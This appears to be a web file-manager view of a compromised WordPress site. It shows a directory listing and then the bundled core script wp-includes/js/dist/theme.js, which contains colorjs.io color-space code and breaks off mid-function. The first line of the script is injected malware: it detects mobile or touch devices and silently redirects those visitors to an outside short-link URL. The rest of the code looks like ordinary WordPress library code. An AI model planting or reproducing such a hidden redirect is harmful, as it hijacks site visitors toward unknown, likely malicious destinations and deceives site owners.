at path:ROOT / wp-includes / js / dist / theme.js
run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
DIR
2026-08-16 23:28:49
R W Run
5.67 KB
2026-08-13 20:01:44
R W Run
2.66 KB
2026-08-13 20:01:44
R W Run
15.35 KB
2026-08-13 20:01:44
R W Run
5.83 KB
2026-08-13 20:01:44
R W Run
17.67 KB
2026-08-13 20:01:44
R W Run
6.54 KB
2026-08-13 20:01:44
R W Run
9.95 KB
2026-08-13 20:01:44
R W Run
5.72 KB
2026-08-13 20:01:44
R W Run
270 By
2026-08-13 20:01:44
R W Run
297 By
2026-08-13 20:01:44
R W Run
2.52 KB
2026-08-13 20:01:44
R W Run
1.38 KB
2026-08-13 20:01:44
R W Run
55.89 KB
2026-08-13 20:01:44
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
2.7 MB
2026-08-13 20:01:44
R W Run
1.01 MB
2026-08-13 20:01:44
R W Run
2.57 MB
2026-08-13 20:01:44
R W Run
1.09 MB
2026-08-13 20:01:44
R W Run
6.75 KB
2026-08-13 20:01:44
R W Run
2.61 KB
2026-08-13 20:01:44
R W Run
50.7 KB
2026-08-13 20:01:44
R W Run
10.59 KB
2026-08-13 20:01:44
R W Run
381.28 KB
2026-08-13 20:01:44
R W Run
180.83 KB
2026-08-13 20:01:44
R W Run
151.92 KB
2026-08-13 20:01:44
R W Run
63.35 KB
2026-08-13 20:01:44
R W Run
3.83 MB
2026-08-13 20:01:44
R W Run
786.49 KB
2026-08-13 20:01:44
R W Run
80.97 KB
2026-08-13 20:01:44
R W Run
28.4 KB
2026-08-13 20:01:44
R W Run
28.9 KB
2026-08-13 20:01:44
R W Run
12.08 KB
2026-08-13 20:01:44
R W Run
612.25 KB
2026-08-13 20:01:44
R W Run
210.68 KB
2026-08-13 20:01:44
R W Run
91.79 KB
2026-08-13 20:01:44
R W Run
36.83 KB
2026-08-13 20:01:44
R W Run
4.35 KB
2026-08-13 20:01:44
R W Run
1.99 KB
2026-08-13 20:01:44
R W Run
83 KB
2026-08-13 20:01:44
R W Run
26.13 KB
2026-08-13 20:01:44
R W Run
176.56 KB
2026-08-13 20:01:44
R W Run
141.44 KB
2026-08-13 20:01:44
R W Run
3.26 KB
2026-08-13 20:01:44
R W Run
1.5 KB
2026-08-13 20:01:44
R W Run
1.69 KB
2026-08-13 20:01:44
R W Run
1.02 KB
2026-08-13 20:01:44
R W Run
34.83 KB
2026-08-13 20:01:44
R W Run
12.87 KB
2026-08-13 20:01:44
R W Run
117.61 KB
2026-08-13 20:01:44
R W Run
49.32 KB
2026-08-13 20:01:44
R W Run
1.69 MB
2026-08-13 20:01:44
R W Run
684.67 KB
2026-08-13 20:01:44
R W Run
160.46 KB
2026-08-13 20:01:44
R W Run
62.08 KB
2026-08-13 20:01:44
R W Run
2.5 MB
2026-08-13 20:01:44
R W Run
1021.85 KB
2026-08-13 20:01:44
R W Run
28.15 KB
2026-08-13 20:01:44
R W Run
12.38 KB
2026-08-13 20:01:44
R W Run
2.51 KB
2026-08-13 20:01:44
R W Run
1.28 KB
2026-08-13 20:01:44
R W Run
73.56 KB
2026-08-13 20:01:44
R W Run
29.1 KB
2026-08-13 20:01:44
R W Run
12.17 KB
2026-08-13 20:01:44
R W Run
5.15 KB
2026-08-13 20:01:44
R W Run
1.86 KB
2026-08-13 20:01:44
R W Run
1.08 KB
2026-08-13 20:01:44
R W Run
15.52 KB
2026-08-13 20:01:44
R W Run
5.81 KB
2026-08-13 20:01:44
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
2.91 KB
2026-08-13 20:01:44
R W Run
1.31 KB
2026-08-13 20:01:44
R W Run
9.9 KB
2026-08-13 20:01:44
R W Run
3.66 KB
2026-08-13 20:01:44
R W Run
8.52 KB
2026-08-13 20:01:44
R W Run
3.12 KB
2026-08-13 20:01:44
R W Run
13.28 KB
2026-08-13 20:01:44
R W Run
5.46 KB
2026-08-13 20:01:44
R W Run
637.36 KB
2026-08-13 20:01:44
R W Run
237.86 KB
2026-08-13 20:01:44
R W Run
10.33 KB
2026-08-13 20:01:44
R W Run
4.6 KB
2026-08-13 20:01:44
R W Run
10.54 KB
2026-08-13 20:01:45
R W Run
4.17 KB
2026-08-13 20:01:45
R W Run
58.46 KB
2026-08-13 20:01:45
R W Run
21.85 KB
2026-08-13 20:01:45
R W Run
11.89 KB
2026-08-13 20:01:45
R W Run
4.97 KB
2026-08-13 20:01:45
R W Run
17.43 KB
2026-08-13 20:01:45
R W Run
5.71 KB
2026-08-13 20:01:45
R W Run
21.29 KB
2026-08-13 20:01:45
R W Run
7.93 KB
2026-08-13 20:01:45
R W Run
5.3 KB
2026-08-13 20:01:45
R W Run
2.2 KB
2026-08-13 20:01:45
R W Run
10.24 KB
2026-08-13 20:01:45
R W Run
3.57 KB
2026-08-13 20:01:45
R W Run
4.31 KB
2026-08-13 20:01:45
R W Run
2.88 KB
2026-08-13 20:01:45
R W Run
4.12 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
24.9 KB
2026-08-13 20:01:45
R W Run
9.87 KB
2026-08-13 20:01:45
R W Run
20.73 KB
2026-08-13 20:01:45
R W Run
7.44 KB
2026-08-13 20:01:45
R W Run
97.25 KB
2026-08-13 20:01:45
R W Run
40.11 KB
2026-08-13 20:01:45
R W Run
36.34 KB
2026-08-13 20:01:45
R W Run
14.35 KB
2026-08-13 20:01:45
R W Run
11.18 KB
2026-08-13 20:01:45
R W Run
4.16 KB
2026-08-13 20:01:45
R W Run
8.18 KB
2026-08-13 20:01:45
R W Run
3.5 KB
2026-08-13 20:01:45
R W Run
17.83 KB
2026-08-13 20:01:45
R W Run
6.63 KB
2026-08-13 20:01:45
R W Run
127.86 KB
2026-08-13 20:01:45
R W Run
56.33 KB
2026-08-13 20:01:45
R W Run
6.33 KB
2026-08-13 20:01:45
R W Run
1.84 KB
2026-08-13 20:01:45
R W Run
5.51 KB
2026-08-13 20:01:45
R W Run
1.92 KB
2026-08-13 20:01:45
R W Run
55.88 KB
2026-08-13 20:01:45
R W Run
23.27 KB
2026-08-13 20:01:45
R W Run
23.61 KB
2026-08-13 20:01:45
R W Run
10.34 KB
2026-08-13 20:01:45
R W Run
6.82 KB
2026-08-13 20:01:45
R W Run
2.46 KB
2026-08-13 20:01:45
R W Run
1.74 KB
2026-08-13 20:01:45
R W Run
977 By
2026-08-13 20:01:45
R W Run
50.3 KB
2026-08-13 20:01:45
R W Run
21.04 KB
2026-08-13 20:01:45
R W Run
7.15 KB
2026-08-13 20:01:45
R W Run
2.66 KB
2026-08-13 20:01:45
R W Run
error_log
📄theme.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2var wp;
3(wp ||= {}).theme = (() => {
4 var __create = Object.create;
5 var __defProp = Object.defineProperty;
6 var __getOwnPropDesc = Object.getOwnPropertyDescriptor;
7 var __getOwnPropNames = Object.getOwnPropertyNames;
8 var __getProtoOf = Object.getPrototypeOf;
9 var __hasOwnProp = Object.prototype.hasOwnProperty;
10 var __commonJS = (cb, mod) => function __require() {
11 return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports;
12 };
13 var __export = (target, all) => {
14 for (var name in all)
15 __defProp(target, name, { get: all[name], enumerable: true });
16 };
17 var __copyProps = (to2, from, except, desc) => {
18 if (from && typeof from === "object" || typeof from === "function") {
19 for (let key of __getOwnPropNames(from))
20 if (!__hasOwnProp.call(to2, key) && key !== except)
21 __defProp(to2, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable });
22 }
23 return to2;
24 };
25 var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps(
26 // If the importer is in node compatibility mode or this is not an ESM
27 // file that has been converted to a CommonJS file using a Babel-
28 // compatible transform (i.e. "__esModule" has not been set), then set
29 // "default" to the CommonJS "module.exports" for node compatibility.
30 isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target,
31 mod
32 ));
33 var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod);
34
35 // package-external:@wordpress/private-apis
36 var require_private_apis = __commonJS({
37 "package-external:@wordpress/private-apis"(exports, module) {
38 module.exports = window.wp.privateApis;
39 }
40 });
41
42 // package-external:@wordpress/element
43 var require_element = __commonJS({
44 "package-external:@wordpress/element"(exports, module) {
45 module.exports = window.wp.element;
46 }
47 });
48
49 // vendor-external:react/jsx-runtime
50 var require_jsx_runtime = __commonJS({
51 "vendor-external:react/jsx-runtime"(exports, module) {
52 module.exports = window.ReactJSXRuntime;
53 }
54 });
55
56 // packages/theme/build-module/index.mjs
57 var index_exports = {};
58 __export(index_exports, {
59 privateApis: () => privateApis
60 });
61
62 // packages/theme/build-module/lock-unlock.mjs
63 var import_private_apis = __toESM(require_private_apis(), 1);
64 var { lock, unlock } = (0, import_private_apis.__dangerousOptInToUnstableAPIsOnlyForCoreModules)(
65 "I acknowledge private features are not for use in themes or plugins and doing so will break in the next version of WordPress.",
66 "@wordpress/theme"
67 );
68
69 // packages/theme/build-module/theme-provider.mjs
70 var import_element3 = __toESM(require_element(), 1);
71
72 // packages/theme/build-module/context.mjs
73 var import_element = __toESM(require_element(), 1);
74 var ThemeContext = (0, import_element.createContext)({
75 resolvedSettings: {
76 color: {}
77 }
78 });
79
80 // packages/theme/node_modules/colorjs.io/src/multiply-matrices.js
81 function dot3(a, b2) {
82 return a[0] * b2[0] + a[1] * b2[1] + a[2] * b2[2];
83 }
84 function multiply_v3_m3x3(input, matrix, out = [0, 0, 0]) {
85 const x = dot3(input, matrix[0]);
86 const y = dot3(input, matrix[1]);
87 const z = dot3(input, matrix[2]);
88 out[0] = x;
89 out[1] = y;
90 out[2] = z;
91 return out;
92 }
93
94 // packages/theme/node_modules/colorjs.io/src/util.js
95 function isString(str) {
96 return type(str) === "string";
97 }
98 function type(o) {
99 let str = Object.prototype.toString.call(o);
100 return (str.match(/^\[object\s+(.*?)\]$/)[1] || "").toLowerCase();
101 }
102 function serializeNumber(n2, { precision = 16, unit }) {
103 if (isNone(n2)) {
104 return "none";
105 }
106 n2 = +toPrecision(n2, precision);
107 return n2 + (unit ?? "");
108 }
109 function isNone(n2) {
110 return n2 === null;
111 }
112 function toPrecision(n2, precision) {
113 if (n2 === 0) {
114 return 0;
115 }
116 let integer = ~~n2;
117 let digits = 0;
118 if (integer && precision) {
119 digits = ~~Math.log10(Math.abs(integer)) + 1;
120 }
121 const multiplier = 10 ** (precision - digits);
122 return Math.floor(n2 * multiplier + 0.5) / multiplier;
123 }
124 function interpolate(start, end, p2) {
125 if (isNaN(start)) {
126 return end;
127 }
128 if (isNaN(end)) {
129 return start;
130 }
131 return start + (end - start) * p2;
132 }
133 function interpolateInv(start, end, value) {
134 return (value - start) / (end - start);
135 }
136 function mapRange(from, to2, value) {
137 if (!from || !to2 || from === to2 || from[0] === to2[0] && from[1] === to2[1] || isNaN(value) || value === null) {
138 return value;
139 }
140 return interpolate(to2[0], to2[1], interpolateInv(from[0], from[1], value));
141 }
142 function clamp(min, val, max) {
143 return Math.max(Math.min(max, val), min);
144 }
145 function copySign(to2, from) {
146 return Math.sign(to2) === Math.sign(from) ? to2 : -to2;
147 }
148 function spow(base, exp) {
149 return copySign(Math.abs(base) ** exp, base);
150 }
151 function zdiv(n2, d2) {
152 return d2 === 0 ? 0 : n2 / d2;
153 }
154 function bisectLeft(arr, value, lo = 0, hi = arr.length) {
155 while (lo < hi) {
156 const mid = lo + hi >> 1;
157 if (arr[mid] < value) {
158 lo = mid + 1;
159 } else {
160 hi = mid;
161 }
162 }
163 return lo;
164 }
165 function isInstance(arg, constructor) {
166 if (arg instanceof constructor) {
167 return true;
168 }
169 const targetName = constructor.name;
170 while (arg) {
171 const proto = Object.getPrototypeOf(arg);
172 const constructorName = proto?.constructor?.name;
173 if (constructorName === targetName) {
174 return true;
175 }
176 if (!constructorName || constructorName === "Object") {
177 return false;
178 }
179 arg = proto;
180 }
181 return false;
182 }
183
184 // packages/theme/node_modules/colorjs.io/src/Type.js
185 var Type = class {
186 // Class properties - declared here so that type inference works
187 type;
188 coordMeta;
189 coordRange;
190 /** @type {[number, number]} */
191 range;
192 /**
193 * @param {any} type
194 * @param {import("./types.js").CoordMeta} coordMeta
195 */
196 constructor(type2, coordMeta) {
197 if (typeof type2 === "object") {
198 this.coordMeta = type2;
199 }
200 if (coordMeta) {
201 this.coordMeta = coordMeta;
202 this.coordRange = coordMeta.range ?? coordMeta.refRange;
203 }
204 if (typeof type2 === "string") {
205 let params = type2.trim().match(/^(?<type><[a-z]+>)(\[(?<min>-?[.\d]+),\s*(?<max>-?[.\d]+)\])?$/);
206 if (!params) {
207 throw new TypeError(`Cannot parse ${type2} as a type definition.`);
208 }
209 this.type = params.groups.type;
210 let { min, max } = params.groups;
211 if (min || max) {
212 this.range = [+min, +max];
213 }
214 }
215 }
216 /** @returns {[number, number]} */
217 get computedRange() {
218 if (this.range) {
219 return this.range;
220 }
221 if (this.type === "<percentage>") {
222 return this.percentageRange();
223 } else if (this.type === "<angle>") {
224 return [0, 360];
225 }
226 return null;
227 }
228 get unit() {
229 if (this.type === "<percentage>") {
230 return "%";
231 } else if (this.type === "<angle>") {
232 return "deg";
233 }
234 return "";
235 }
236 /**
237 * Map a number to the internal representation
238 * @param {number} number
239 */
240 resolve(number) {
241 if (this.type === "<angle>") {
242 return number;
243 }
244 let fromRange = this.computedRange;
245 let toRange = this.coordRange;
246 if (this.type === "<percentage>") {
247 toRange ??= this.percentageRange();
248 }
249 return mapRange(fromRange, toRange, number);
250 }
251 /**
252 * Serialize a number from the internal representation to a string
253 * @param {number} number
254 * @param {number} [precision]
255 */
256 serialize(number, precision) {
257 let toRange = this.type === "<percentage>" ? this.percentageRange(100) : this.computedRange;
258 let unit = this.unit;
259 number = mapRange(this.coordRange, toRange, number);
260 return serializeNumber(number, { unit, precision });
261 }
262 toString() {
263 let ret = this.type;
264 if (this.range) {
265 let [min = "", max = ""] = this.range;
266 ret += `[${min},${max}]`;
267 }
268 return ret;
269 }
270 /**
271 * Returns a percentage range for values of this type
272 * @param {number} scale
273 * @returns {[number, number]}
274 */
275 percentageRange(scale = 1) {
276 let range;
277 if (this.coordMeta && this.coordMeta.range || this.coordRange && this.coordRange[0] >= 0) {
278 range = [0, 1];
279 } else {
280 range = [-1, 1];
281 }
282 return [range[0] * scale, range[1] * scale];
283 }
284 static get(type2, coordMeta) {
285 if (isInstance(type2, this)) {
286 return type2;
287 }
288 return new this(type2, coordMeta);
289 }
290 };
291
292 // packages/theme/node_modules/colorjs.io/src/Format.js
293 var instance = /* @__PURE__ */ Symbol("instance");
294 var Format = class _Format {
295 // Class properties - declared here so that type inference works
296 type;
297 name;
298 spaceCoords;
299 /** @type {Type[][]} */
300 coords;
301 /** @type {string | undefined} */
302 id;
303 /** @type {boolean | undefined} */
304 alpha;
305 /**
306 * @param {FormatInterface} format
307 * @param {ColorSpace} space
308 */
309 constructor(format, space = format.space) {
310 format[instance] = this;
311 this.type = "function";
312 this.name = "color";
313 Object.assign(this, format);
314 this.space = space;
315 if (this.type === "custom") {
316 return;
317 }
318 this.spaceCoords = Object.values(space.coords);
319 if (!this.coords) {
320 this.coords = this.spaceCoords.map((coordMeta) => {
321 let ret = ["<number>", "<percentage>"];
322 if (coordMeta.type === "angle") {
323 ret.push("<angle>");
324 }
325 return ret;
326 });
327 }
328 this.coords = this.coords.map(
329 /** @param {string | string[] | Type[]} types */
330 (types, i) => {
331 let coordMeta = this.spaceCoords[i];
332 if (typeof types === "string") {
333 types = types.trim().split(/\s*\|\s*/);
334 }
335 return types.map((type2) => Type.get(type2, coordMeta));
336 }
337 );
338 }
339 /**
340 * @param {Coords} coords
341 * @param {number} precision
342 * @param {Type[]} types
343 */
344 serializeCoords(coords, precision, types) {
345 types = coords.map((_, i) => Type.get(types?.[i] ?? this.coords[i][0], this.spaceCoords[i]));
346 return coords.map((c, i) => types[i].serialize(c, precision));
347 }
348 /**
349 * Validates the coordinates of a color against a format's coord grammar and
350 * maps the coordinates to the range or refRange of the coordinates.
351 * @param {Coords} coords
352 * @param {[string, string, string]} types
353 */
354 coerceCoords(coords, types) {
355 return Object.entries(this.space.coords).map(([id, coordMeta], i) => {
356 let arg = coords[i];
357 if (isNone(arg) || isNaN(arg)) {
358 return arg;
359 }
360 let providedType = types[i];
361 let type2 = this.coords[i].find((c) => c.type == providedType);
362 if (!type2) {
363 let coordName = coordMeta.name || id;
364 throw new TypeError(
365 `${providedType ?? /** @type {any} */
366 arg?.raw ?? arg} not allowed for ${coordName} in ${this.name}()`
367 );
368 }
369 arg = type2.resolve(arg);
370 if (type2.range) {
371 types[i] = type2.toString();
372 }
373 return arg;
374 });
375 }
376 /**
377 * @returns {boolean | Required<FormatInterface>["serialize"]}
378 */
379 canSerialize() {
380 return this.type === "function" || /** @type {any} */
381 this.serialize;
382 }
383 /**
384 * @param {string} str
385 * @returns {(import("./types.js").ColorConstructor) | undefined | null}
386 */
387 parse(str) {
388 return null;
389 }
390 /**
391 * @param {Format | FormatInterface} format
392 * @param {RemoveFirstElement<ConstructorParameters<typeof Format>>} args
393 * @returns {Format}
394 */
395 static get(format, ...args) {
396 if (!format || isInstance(format, this)) {
397 return (
398 /** @type {Format} */
399 format
400 );
401 }
402 if (format[instance]) {
403 return format[instance];
404 }
405 return new _Format(format, ...args);
406 }
407 };
408
409 // packages/theme/node_modules/colorjs.io/src/hooks.js
410 var Hooks = class {
411 add(name, callback, first) {
412 if (typeof arguments[0] != "string") {
413 for (var name in arguments[0]) {
414 this.add(name, arguments[0][name], arguments[1]);
415 }
416 return;
417 }
418 (Array.isArray(name) ? name : [name]).forEach(function(name2) {
419 this[name2] = this[name2] || [];
420 if (callback) {
421 this[name2][first ? "unshift" : "push"](callback);
422 }
423 }, this);
424 }
425 run(name, env) {
426 this[name] = this[name] || [];
427 this[name].forEach(function(callback) {
428 callback.call(env && env.context ? env.context : env, env);
429 });
430 }
431 };
432 var hooks = new Hooks();
433 var hooks_default = hooks;
434
435 // packages/theme/node_modules/colorjs.io/src/adapt.js
436 var WHITES = {
437 // for compatibility, the four-digit chromaticity-derived ones everyone else uses
438 D50: [0.3457 / 0.3585, 1, (1 - 0.3457 - 0.3585) / 0.3585],
439 D65: [0.3127 / 0.329, 1, (1 - 0.3127 - 0.329) / 0.329]
440 };
441 function getWhite(name) {
442 if (Array.isArray(name)) {
443 return name;
444 }
445 return WHITES[name];
446 }
447 function adapt(W1, W2, XYZ, options = {}) {
448 W1 = getWhite(W1);
449 W2 = getWhite(W2);
450 if (!W1 || !W2) {
451 throw new TypeError(
452 `Missing white point to convert ${!W1 ? "from" : ""}${!W1 && !W2 ? "/" : ""}${!W2 ? "to" : ""}`
453 );
454 }
455 if (W1 === W2) {
456 return XYZ;
457 }
458 let env = { W1, W2, XYZ, options };
459 hooks_default.run("chromatic-adaptation-start", env);
460 if (!env.M) {
461 if (env.W1 === WHITES.D65 && env.W2 === WHITES.D50) {
462 env.M = [
463 [1.0479297925449969, 0.022946870601609652, -0.05019226628920524],
464 [0.02962780877005599, 0.9904344267538799, -0.017073799063418826],
465 [-0.009243040646204504, 0.015055191490298152, 0.7518742814281371]
466 ];
467 } else if (env.W1 === WHITES.D50 && env.W2 === WHITES.D65) {
468 env.M = [
469 [0.955473421488075, -0.02309845494876471, 0.06325924320057072],
470 [-0.0283697093338637, 1.0099953980813041, 0.021041441191917323],
471 [0.012314014864481998, -0.020507649298898964, 1.330365926242124]
472 ];
473 }
474 }
475 hooks_default.run("chromatic-adaptation-end", env);
476 if (env.M) {
477 return multiply_v3_m3x3(env.XYZ, env.M);
478 } else {
479 throw new TypeError("Only Bradford CAT with white points D50 and D65 supported for now.");
480 }
481 }
482
483 // packages/theme/node_modules/colorjs.io/src/defaults.js
484 var defaults_default = {
485 gamut_mapping: "css",
486 precision: 5,
487 deltaE: "76",
488 // Default deltaE method
489 verbose: globalThis?.process?.env?.NODE_ENV?.toLowerCase() !== "test",
490 warn: function warn(msg) {
491 if (this.verbose) {
492 globalThis?.console?.warn?.(msg);
493 }
494 }
495 };
496
497 // packages/theme/node_modules/colorjs.io/src/parse.js
498 function parse(str, options) {
499 let env = {
500 str: String(str)?.trim(),
501 options
502 };
503 hooks_default.run("parse-start", env);
504 if (env.color) {
505 return env.color;
506 }
507 env.parsed = parseFunction(env.str);
508 let ret;
509 let meta = env.options ? env.options.parseMeta ?? env.options.meta : null;
510 if (env.parsed) {
511 let name = env.parsed.name;
512 let format;
513 let space;
514 let coords = env.parsed.args;
515 let types = coords.map((c, i) => env.parsed.argMeta[i]?.type);
516 if (name === "color") {
517 let id = coords.shift();
518 types.shift();
519 let alternateId = id.startsWith("--") ? id.substring(2) : `--${id}`;
520 let ids = [id, alternateId];
521 format = ColorSpace.findFormat({ name, id: ids, type: "function" });
522 if (!format) {
523 let didYouMean;
524 let registryId = id in ColorSpace.registry ? id : alternateId;
525 if (registryId in ColorSpace.registry) {
526 let cssId = ColorSpace.registry[registryId].formats?.color?.id;
527 if (cssId) {
528 let altColor = str.replace("color(" + id, "color(" + cssId);
529 didYouMean = `Did you mean ${altColor}?`;
530 }
531 }
532 throw new TypeError(
533 `Cannot parse ${env.str}. ` + (didYouMean ?? "Missing a plugin?")
534 );
535 }
536 space = format.space;
537 if (format.id.startsWith("--") && !id.startsWith("--")) {
538 defaults_default.warn(
539 `${space.name} is a non-standard space and not currently supported in the CSS spec. Use prefixed color(${format.id}) instead of color(${id}).`
540 );
541 }
542 if (id.startsWith("--") && !format.id.startsWith("--")) {
543 defaults_default.warn(
544 `${space.name} is a standard space and supported in the CSS spec. Use color(${format.id}) instead of prefixed color(${id}).`
545 );
546 }
547 } else {
548 format = ColorSpace.findFormat({ name, type: "function" });
549 space = format.space;
550 }
551 if (meta) {
552 Object.assign(meta, {
553 format,
554 formatId: format.name,
555 types,
556 commas: env.parsed.commas
557 });
558 }
559 let alpha = 1;
560 if (env.parsed.lastAlpha) {
561 alpha = env.parsed.args.pop();
562 if (meta) {
563 meta.alphaType = types.pop();
564 }
565 }
566 let coordCount = format.coords.length;
567 if (coords.length !== coordCount) {
568 throw new TypeError(
569 `Expected ${coordCount} coordinates for ${space.id} in ${env.str}), got ${coords.length}`
570 );
571 }
572 coords = format.coerceCoords(coords, types);
573 ret = { spaceId: space.id, coords, alpha };
574 } else {
575 spaceloop: for (let space of ColorSpace.all) {
576 for (let formatId in space.formats) {
577 let format = space.formats[formatId];
578 if (format.type !== "custom") {
579 continue;
580 }
581 if (format.test && !format.test(env.str)) {
582 continue;
583 }
584 let formatObject = space.getFormat(format);
585 let color = formatObject.parse(env.str);
586 if (color) {
587 if (meta) {
588 Object.assign(meta, { format: formatObject, formatId });
589 }
590 ret = color;
591 break spaceloop;
592 }
593 }
594 }
595 }
596 if (!ret) {
597 throw new TypeError(`Could not parse ${str} as a color. Missing a plugin?`);
598 }
599 ret.alpha = isNone(ret.alpha) ? ret.alpha : ret.alpha === void 0 ? 1 : clamp(0, ret.alpha, 1);
600 return ret;
601 }
602 var units = {
603 "%": 0.01,
604 deg: 1,
605 grad: 0.9,
606 rad: 180 / Math.PI,
607 turn: 360
608 };
609 var regex = {
610 // Need to list calc(NaN) explicitly as otherwise its ending paren would terminate the function call
611 function: /^([a-z]+)\(((?:calc\(NaN\)|.)+?)\)$/i,
612 number: /^([-+]?(?:[0-9]*\.)?[0-9]+(e[-+]?[0-9]+)?)$/i,
613 unitValue: RegExp(`(${Object.keys(units).join("|")})$`),
614 // NOTE The -+ are not just for prefix, but also for idents, and e+N notation!
615 singleArgument: /\/?\s*(none|NaN|calc\(NaN\)|[-+\w.]+(?:%|deg|g?rad|turn)?)/g
616 };
617 function parseArgument(rawArg) {
618 let meta = {};
619 let unit = rawArg.match(regex.unitValue)?.[0];
620 let value = meta.raw = rawArg;
621 if (unit) {
622 meta.type = unit === "%" ? "<percentage>" : "<angle>";
623 meta.unit = unit;
624 meta.unitless = Number(value.slice(0, -unit.length));
625 value = meta.unitless * units[unit];
626 } else if (regex.number.test(value)) {
627 value = Number(value);
628 meta.type = "<number>";
629 } else if (value === "none") {
630 value = null;
631 } else if (value === "NaN" || value === "calc(NaN)") {
632 value = NaN;
633 meta.type = "<number>";
634 } else {
635 meta.type = "<ident>";
636 }
637 return { value: (
638 /** @type {number} */
639 value
640 ), meta: (
641 /** @type {ArgumentMeta} */
642 meta
643 ) };
644 }
645 function parseFunction(str) {
646 if (!str) {
647 return;
648 }
649 str = str.trim();
650 let parts = str.match(regex.function);
651 if (parts) {
652 let args = [];
653 let argMeta = [];
654 let lastAlpha = false;
655 let name = parts[1].toLowerCase();
656 let separators = parts[2].replace(regex.singleArgument, ($0, rawArg) => {
657 let { value, meta } = parseArgument(rawArg);
658 if (
659 // If there's a slash here, it's modern syntax
660 $0.startsWith("/") || // If there's still elements to process after there's already 3 in `args` (and the we're not dealing with "color()"), it's likely to be a legacy color like "hsl(0, 0%, 0%, 0.5)"
661 name !== "color" && args.length === 3
662 ) {
663 lastAlpha = true;
664 }
665 args.push(value);
666 argMeta.push(meta);
667 return "";
668 });
669 return {
670 name,
671 args,
672 argMeta,
673 lastAlpha,
674 commas: separators.includes(","),
675 rawName: parts[1],
676 rawArgs: parts[2]
677 };
678 }
679 }
680
681 // packages/theme/node_modules/colorjs.io/src/getColor.js
682 function getColor(color, options) {
683 if (Array.isArray(color)) {
684 return color.map((c) => getColor(c, options));
685 }
686 if (!color) {
687 throw new TypeError("Empty color reference");
688 }
689 if (isString(color)) {
690 color = parse(color, options);
691 }
692 let space = color.space || color.spaceId;
693 if (typeof space === "string") {
694 color.space = ColorSpace.get(space);
695 }
696 if (color.alpha === void 0) {
697 color.alpha = 1;
698 }
699 return color;
700 }
701
702 // packages/theme/node_modules/colorjs.io/src/ColorSpace.js
703 var \u03B5 = 75e-6;
704 var ColorSpace = class _ColorSpace {
705 constructor(options) {
706 this.id = options.id;
707 this.name = options.name;
708 this.base = options.base ? _ColorSpace.get(options.base) : null;
709 this.aliases = options.aliases;
710 if (this.base) {
711 this.fromBase = options.fromBase;
712 this.toBase = options.toBase;
713 }
714 let coords = options.coords ?? this.base.coords;
715 for (let name in coords) {
716 if (!("name" in coords[name])) {
717 coords[name].name = name;
718 }
719 }
720 this.coords = coords;
721 let white4 = options.white ?? this.base.white ?? "D65";
722 this.white = getWhite(white4);
723 this.formats = options.formats ?? {};
724 for (let name in this.formats) {
725 let format = this.formats[name];
726 format.type ||= "function";
727 format.name ||= name;
728 }
729 if (!this.formats.color?.id) {
730 this.formats.color = {
731 ...this.formats.color ?? {},
732 id: options.cssId || this.id
733 };
734 }
735 if (options.gamutSpace) {
736 this.gamutSpace = options.gamutSpace === "self" ? this : _ColorSpace.get(options.gamutSpace);
737 } else {
738 if (this.isPolar) {
739 this.gamutSpace = this.base;
740 } else {
741 this.gamutSpace = this;
742 }
743 }
744 if (this.gamutSpace.isUnbounded) {
745 this.inGamut = (coords2, options2) => {
746 return true;
747 };
748 }
749 this.referred = options.referred;
750 Object.defineProperty(this, "path", {
751 value: getPath(this).reverse(),
752 writable: false,
753 enumerable: true,
754 configurable: true
755 });
756 hooks_default.run("colorspace-init-end", this);
757 }
758 inGamut(coords, { epsilon = \u03B5 } = {}) {
759 if (!this.equals(this.gamutSpace)) {
760 coords = this.to(this.gamutSpace, coords);
761 return this.gamutSpace.inGamut(coords, { epsilon });
762 }
763 let coordMeta = Object.values(this.coords);
764 return coords.every((c, i) => {
765 let meta = coordMeta[i];
766 if (meta.type !== "angle" && meta.range) {
767 if (isNone(c)) {
768 return true;
769 }
770 let [min, max] = meta.range;
771 return (min === void 0 || c >= min - epsilon) && (max === void 0 || c <= max + epsilon);
772 }
773 return true;
774 });
775 }
776 get isUnbounded() {
777 return Object.values(this.coords).every((coord) => !("range" in coord));
778 }
779 get cssId() {
780 return this.formats?.color?.id || this.id;
781 }
782 get isPolar() {
783 for (let id in this.coords) {
784 if (this.coords[id].type === "angle") {
785 return true;
786 }
787 }
788 return false;
789 }
790 /**
791 * Lookup a format in this color space
792 * @param {string | object | Format} format - Format id if string. If object, it's converted to a `Format` object and returned.
793 * @returns {Format}
794 */
795 getFormat(format) {
796 if (!format) {
797 return null;
798 }
799 if (format === "default") {
800 format = Object.values(this.formats)[0];
801 } else if (typeof format === "string") {
802 format = this.formats[format];
803 }
804 let ret = Format.get(format, this);
805 if (ret !== format && format.name in this.formats) {
806 this.formats[format.name] = ret;
807 }
808 return ret;
809 }
810 /**
811 * Check if this color space is the same as another color space reference.
812 * Allows proxying color space objects and comparing color spaces with ids.
813 * @param {string | ColorSpace} space ColorSpace object or id to compare to
814 * @returns {boolean}
815 */
816 equals(space) {
817 if (!space) {
818 return false;
819 }
820 return this === space || this.id === space || this.id === space.id;
821 }
822 to(space, coords) {
823 if (arguments.length === 1) {
824 const color = getColor(space);
825 [space, coords] = [color.space, color.coords];
826 }
827 space = _ColorSpace.get(space);
828 if (this.equals(space)) {
829 return coords;
830 }
831 coords = coords.map((c) => isNone(c) ? 0 : c);
832 let myPath = this.path;
833 let otherPath = space.path;
834 let connectionSpace, connectionSpaceIndex;
835 for (let i = 0; i < myPath.length; i++) {
836 if (myPath[i].equals(otherPath[i])) {
837 connectionSpace = myPath[i];
838 connectionSpaceIndex = i;
839 } else {
840 break;
841 }
842 }
